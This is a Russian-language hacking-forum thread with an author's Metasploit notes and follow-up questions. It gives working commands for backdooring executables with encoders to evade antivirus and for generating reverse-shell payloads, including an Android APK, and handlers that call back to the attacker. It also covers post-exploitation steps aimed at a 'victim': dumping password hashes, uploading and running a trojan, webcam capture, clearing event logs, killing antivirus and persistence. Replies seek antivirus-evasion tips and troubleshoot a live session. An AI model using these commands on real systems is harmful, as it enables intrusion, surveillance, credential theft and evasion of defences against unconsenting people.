PDA

Просмотр полной версии : Metasploit


SooLFaa
21.09.2016, 17:33
Всем привет. Пришлось позаморачиваться с метасплоитоми решил сделать несколько заметочек.

Я не буду в миллионный раз повторять, то, что уже написано на форуме о метасплоите.

Что это почитать можно здесь (https://antichat.live/threads/21599/) и ещё огромная куча тем.

В данной статье я пользовался поиском и старался писать о том о чем еще не написано здесь.

Далее ссылочки из трёх книженций откуда впринципе и взята эта информация

METASPLOIT UNLEASHED (http://www.gseguridad.unicauca.edu.co/MetasploitGuide.pdf)

Metasploit Penetration Testing Cookbook (https://repo.palkeo.com/repositories/mirror7.meh.or.id/Magazines/hakin9/Packtpub.Metasploit.Penetration.Testing.Cookbook.J un.2012.pdf)

Metasploit The Penetration Tester’s Guide (https://repo.zenk-security.com/Metasploit/Metasploit-The%20Penetration%20Tester%20s%20Guide.pdf)

Для кого статья?

В первую очередь для меня. =)

А так же всем тем, кто уже знаком с фреймворком, хотя гуру врядли для себя что - то найдут.

Поехали. Метасплоит это в первую очередь фабрика сплоитов, средство которое позволяет создавать и использовать свои сплоиты (запуск уже готовых это меньшее, что он может). Поэтому всё что есть в нём можно использовать и без него. Для примера вот отличная статья эксплоита (https://xakep.ru/2009/12/24/50641/) Buffer over Flow (позже напишем и об этом что - нибудь).

msfcli - довольно удобная штука, когда одно действие приходится запускать часто (у меня это запуск листенера)

Традиционный способ


Code:
msfconsole или msfconsole '-x use exploit/multy/handler'
use exploit/multy/handler
SET LHOST наш хост
SET LPORT наш порт, который слушаем.
SET PAYLOAD windows/meterpreter/reverse_tcp (пэйлоадах чуть ниже)
exploit

Тоже самое


Code:
- msfcli exploit/multi/handler LHOST=host LPORT=1337 PAYLOAD=windows/meterpreter/reverse_tcp E

Какие есть флаги у этой штуки например (O показать опции, E exploit) предлагаю самим разобраться.

Едем дальше

SETG- очень удобная команда когда мы хотим раз и навсегда (на всё время работы с метасплоитом) установить какие то значения LHOST, LPORT, PAYLOAD, ENCODER и т.п.


Code:
msf> setg LHOST 192.168.1.0
msf> save

При генерации сплоита все знают о set payload, но мало кто вспоминает о set encoder - это по сути небольшой крипт для сплоита (не панацея от антивирусов, здесь уже могущество других

фреймворков), но в некоторых случаях помочь может хотя бы от тех кто захочет полезть в Ваш билд или слушать сокет.

-> show encoders -Список активных енкодеров

В основном их названия говорят за себя


Code:
cmd/generic_sh
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder
................................
x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder

Можно комбинировать енкодерыкомандой +


Code:
msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai + mipsbe/longxor -c 3

где, c - количество итераций.

-> show auxiliary Здесь есть практический всё, и smb_scan, и portscan, и pivoting. Эта категория содержит в себе не совсем сплоиты а скорее вспомогательные модули, для разведки, фазинга, брутфорса и т.п.

Однако значительную долю умеет тот же nmap и другие более легковестные вещи. Поэтому я не увидел применения например auxiliary(posrtscan) когда есть старый добрый db_nmapсо всеми возможностями, плюс добавления в базу метасплоита, но есть и интересные вещи например "admin/cisco/ios_http_auth_bypass". Заострять внимание на этом не будем. Очень советую вспоминать об этом;

-> show payloads- Вывод всех полезных нагрузок.

Конечно большинство из нас привыкло к старому доброму метрпретеру и это оправдано. Шел с огромной кучей возможностей, достаточно удобный и лаконичный, но иногда нужно что то более

легковесное или под другую архитектуру.

Виды payloads.

Single- одиночное выполнение любой команды (например на языке C# Process.Start("calc.exe") - вызов калькулятора).

Stagers (windows/shell_bind_tcp) - Во первых этот тип пэйлоадов более легковесный, соответственно более надежный (держать включенной сессию ncat куда проще чем сессию метерпретер), меньший риск потери соединения.

Stages- Наиболее тяжелые нагрузки, здесь же наш могучий метрпретер, суть этого вида нагрузок, что он загружается не сразу весь а поэтапно, имеет как правило обширный функционал(meterpreter). К недостаткам можно отнести большой объем занимаемой оперативной памяти.



Генерация payload(полезно, когда надо использовать в своем коде)


Code:
msf > use payload/windows/shell/bind_tcp
.............Устанавливаем параметры........................
msf payload(bind_tcp) > generate
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x 8b\x52" +
"\x30\x8b\x..............\x01\xc3\x29\xc6\x85" + "\xf6\x75\xec\xc3"

Далее эту строку можно впиливать в любую программку или просто кидать в сокет.

Далее поговорим о метерпретере(хотя это всё это можно проделать и не только в нём);

Мы получили доступ к системе, всё очень здорово, и какие дальнейшие шаги можно предпринять?

hashdump- Старый добрый файл SAM

migrate- Первое с чего лично я начинаю (а точнее уже автоматизировал сей процесс) - это миграция. Процесс теперь не висит сам по себе, а выглядит как отдельный поток, прилепившейся к другому процессу. И может стать не убиваемым.

shell- Переход в командный режим

uploadevil_trojan.exe c:\\windows\\system32 - Как Вы догодались отправка файлать мигра

execute -f evil_trojan.exe -i -H - а затем его выполнение

webcam_snap -i 1 -v false - Сфоткаемся на вебку. где i- время ожидания в секундах

clearev- Очистить журнал

use sniffer - снииффер трафика.

sniffer_start 1 - запуск сниффера с активной сетевой карты

sniffer_dump - снять полученные пакеты

route add 10.211.55.0 255.255.255.0 1 - Добавить маршрут, полезно для того чтобы бегать от сети к сети

run checkvm - А вот как раз узнать находимся ли мы на виртуалке.

run getcountermeasure - проверка на защищенность системы, может даже что и удастся отрубить(фаерволл, антивирь).

run killav- убийца антивирусов.

run getgui- Включает (а точнее пытается) включить rdp'шечку

run gettelnet- без комментариев

run get_local_subnets- получить имя подсети

run hostsedit -e 10.211.55.162,www.microsoft.com (http://www.microsoft.com), известный факт, что первое куда смотрит компьютер, чтобы получить ip доменного имени - это файл hosts, и только если там нет обращается к серверу. Что с этим делать вариантов много.

run remotewinenum - Сборщик информации О СИСТЕМЕ

run scraper - ЕЩЁ БОЛЬШЕ ИНФОРМАЦИИ О СИСТЕМЕ

run metsvc - примитивный бэкдор, постоянно отваливается, а за NAT'ом вообще не работает.

run persistence -U -i 5 -p 1342 -r 62.102.1.1 - вот это штука заставляет жертву подключаться к вам каждые 5 секунд.

portfwd add -l 80 -p 80 -r 192.168.0.101 - Проброс нужных нам портов с другого хоста подсети.

И это не всё. Список всех пост модулей можно глянуть командой show posts

Как же нам сгенерировать свою полезную нагрузку?


Code:
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe

где -e тип енкодера, а i - кол-во итераций, но имейте ввиду что stagers нагрузки менее заметны для антивирусов, чем satges.

Автоматическая подгрузка сценариев:

Итак, допустим, мы хотим, чтобы при получении сессии сразу выполнялось повышение привелегий на атакуемой Windows машине через

известный сплоит bypass_uac

Без лишних слов, просто как это сделать:


Code:
use
set LHOST
..................
set PAYLOAD
set AUTORUNSCRIPT exploit/windows/local/bypassuac

Вот как раз последняя строчка и отвечает за то что подгрузить при успешной создании сессии.

Альтернативная переменная InitialAutoRunScript, которой просто нужно дать команду для пост эксплуатации.

Пример: set InitialAutoRunScript 'migrate -f'

Свои сценарии

Пришло время автоматизировать процесс и написать свой сценарий для метрпретера.

Существует возможность загнать в файл уже заранее известный алгоритм команд метасплоита и выполнить его

с помощью rc скриптов. Причем такие скрипты могут включать в себя как код на руби (свои какие то действия), так и возможности

метаплоита.

Попробуем создать файл scanner.rc (так как я не спецаилист руби, то пример взят отсюда http://lockboxx.blogspot.ru/2013/06/scripting-metasploit-easy-resource.html)

Выглядит скрипт руби так


Code:
#calling ruby

run_single("db_nmap -sU -sS -Pn -n --script=smb-check-vulns.nse,samba-vuln-cve-2012-1182 --script-args=unsafe=1 -p U:135,T:139,445 #{framework.datastore['RHOSTS']}")
run_single("db_nmap -sS -Pn -n --script=ftp-vuln-cve2010-4221.nse -p 21 #{framework.datastore['RHOSTS']}")
run_single("services #{framework.datastore['RHOSTS']}")
run_single("vulns #{framework.datastore['RHOSTS']}")


И вызываем его в консоли метасплоита командой resource scanner.rc

Другой листинг


Code:
#chaining common scanners
use auxiliary/scanner/snmp/snmp_enum
run
use auxiliary/scanner/snmp/snmp_login
run
use auxiliary/scanner/snmp/snmp_enumusers
run
use auxiliary/scanner/snmp/snmp_enumshares
run
use auxiliary/scanner/nfs/nfsmount
run
use auxiliary/scanner/vnc/vnc_none_auth
run

Аналогично предыдущему, но уже предопределенные настройки метасплоита необходимо установить командой setg.

База данных метасплоита

После создания подключения к базе данных первое что мы можем сделать проверить статус командой db_status.

Рассмотрим основные действия в базе:

workspace- отдельное хранилище. Именно воркспейсы хранят в себя отдельные результаты сканирования сети или подсети.

workspace lab1 - переключает текущее рабочее пространство на lab1;

workspace -a laba1- создание рабочей области (сохраняет все результаты сканирования сохранены здесь)

db_nmapдобавить в базу хост с помощью сканера nmap (об этом можно почитать здесь)

hosts- Выводить информацию о хостах в различном виде;

services- Выводить информацию о сервисах в различном виде;

loot- сохранение дампа хэш-файла операционной системы

Далее поговорим о Карметасплоите, wmap (устаревший модуль для сканирования веб приложений), интеграция с nessus, nexpose, beef, empire и созданию своих сплоитов (не зеро дей )))).

Всем спасибо! Недочеты и аргументированная критика есть гуд.

Kevin Shindel
23.12.2016, 00:53
Очень позновательный топик...

У меня вопрос к ТС'у , есть ли какие комбинации енкодера которые не палятся антивирем?

Увиличивал кол-во интераций один фиг удаляется...

SooLFaa
25.12.2016, 17:39
Kevin Shindel said:
↑ (https://antichat.live/posts/4027632/)
Очень позновательный топик...
У меня вопрос к ТС'у , есть ли какие комбинации енкодера которые не палятся антивирем?
Увиличивал кол-во интераций один фиг удаляется...


Спасибо, Я на самом деле, в последнее время на другом борде зависаю, вот тут моя статья о том как забайпассить AV msf - payload с помощью C#. https://codeby.net/forum/threads/av-bypass-s-pomoschju-c.58637/

Kevin Shindel
25.12.2016, 19:38
Спасибо, буду изучать.

Fujiko Mine
05.01.2017, 00:57
в общем вроде делаю всё по сценарию:

ОС Kali 2

мой_ip=192.168.0.103

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 R > /var/www/shell.apk

msfconsole

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 192.168.0.103

set lport 8080

exploit

собственно потом вижу это:

Started reverse TCP handler on 192.168.0.103:8080

Starting the payload handler...

Sending stage (63194 bytes) to 192.168.0.100

Meterpreter session 1 opened (192.168.0.103:8080 -> 192.168.0.100:54636) at 2017-01-04 15:46:03 +0000

192.168.0.100 - Meterpreter session 1 closed. Reason: Died

[-] Invalid session identifier: 1

интересны возможные причины и способы их обойти/устранить

SooLFaa
06.01.2017, 18:09
Отваливается сессия. Причин тому может быть много. Попробуй с AutoRun поиграться.

Fujiko Mine
07.01.2017, 16:12
SooLFaa said:
↑ (https://antichat.live/posts/4033121/)
Отваливается сессия. Причин тому может быть много. Попробуй с AutoRun поиграться.


Если не затруднит, напиши пожалуйста готовый пример этой строки

не совсем понятно когда выполнять данную операцию

BabaDook
07.01.2017, 17:13
Fujiko Mine said:
↑ (https://antichat.live/posts/4032533/)
в общем вроде делаю всё по сценарию:
ОС Kali 2
мой_ip=192.168.0.103
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 R > /var/www/shell.apk
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.0.103
set lport 8080
exploit
собственно потом вижу это:
Started reverse TCP handler on 192.168.0.103:8080
Starting the payload handler...
Sending stage (63194 bytes) to 192.168.0.100
Meterpreter session 1 opened (192.168.0.103:8080 -> 192.168.0.100:54636) at 2017-01-04 15:46:03 +0000
192.168.0.100 - Meterpreter session 1 closed. Reason: Died
[-] Invalid session identifier: 1
интересны возможные причины и способы их обойти/устранить


у жертвы фаерволл 1) пробуй сразу мигрейт сделать 2)

Fujiko Mine
07.01.2017, 17:31
BabaDook said:
↑ (https://antichat.live/posts/4033454/)
у жертвы фаерволл 1) пробуй сразу мигрейт сделать 2)


тоже попрошу написать готовый пример (показать на пальцах), если не затруднит

BabaDook
07.01.2017, 17:36
Fujiko Mine said:
↑ (https://antichat.live/posts/4033461/)
тоже попрошу написать готовый пример (показать на пальцах), если не затруднит


Не сори, я точно писать не буду. Экспериментируйте

SooLFaa
08.01.2017, 13:05
BabaDook said:
↑ (https://antichat.live/posts/4033463/)
Не сори, я точно писать не буду. Экспериментируйте




Code:
set AutoRunScript post/windows/manage/migrate